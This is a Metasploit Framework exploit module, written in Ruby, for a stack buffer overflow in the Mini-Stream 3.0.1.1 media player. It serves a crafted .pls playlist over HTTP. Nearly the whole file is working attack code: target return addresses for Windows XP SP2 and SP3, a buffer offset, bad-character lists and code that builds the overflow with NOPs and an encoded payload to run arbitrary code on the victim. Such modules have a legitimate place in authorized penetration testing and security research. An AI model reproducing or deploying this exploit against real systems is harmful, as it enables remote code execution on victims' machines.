Mini-Stream 3.0.1.1 - Buffer Overflow Exploit



##

# $Id: mini_stream.rb 14155 2011-11-04 08:20:43Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
            'Description' => %q{
                    This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
                By creating a specially crafted pls file, an an attacker may be able
                to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' =>
                [
                    'CORELAN Security Team ',
                    'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
                ],
            'Version' => '$Revision: 14155 $',
            'References' =>
                [
                    [ 'OSVDB', '61341' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload' =>
                {
                    'Space' => 3500,
                    'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
                    'StackAdjustment' => -3500
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [
                        'Windows XP SP3 ENG',
                        {
                            'Ret'    => 0x7e429353,  # 0x7e429353 JMP ESP - USER32.dll
                            'Offset' => 17417
                        }
                    ],
                    [
                        'Windows XP SP2 ENG',
                        {
                            'Ret'    => 0x7c941eed,  # 0x7c941eed JMP ESP - SHELL32.dll
                            'Offset' => 17417
                        }
                    ]
                ],
            'Privileged' => false,
            'DisclosureDate' => 'Dec 25 2009',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('URIPATH',  [ true,  'The URI to use for this exploit', 'msf.pls'])
            ], self.class)
    end


    def on_request_uri(cli, request)
        # Calculate the correct offset
        host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        host << ":#{datastore['SRVPORT']}/"
        offset = target['Offset'] - host.length

        # Construct our buffer
        sploit = rand_text_alpha(offset)
        sploit << [target.ret].pack('V')
        sploit << make_nops(32)
        sploit << @p

        print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
    end

    def exploit
        @p = payload.encoded
        super
    end

end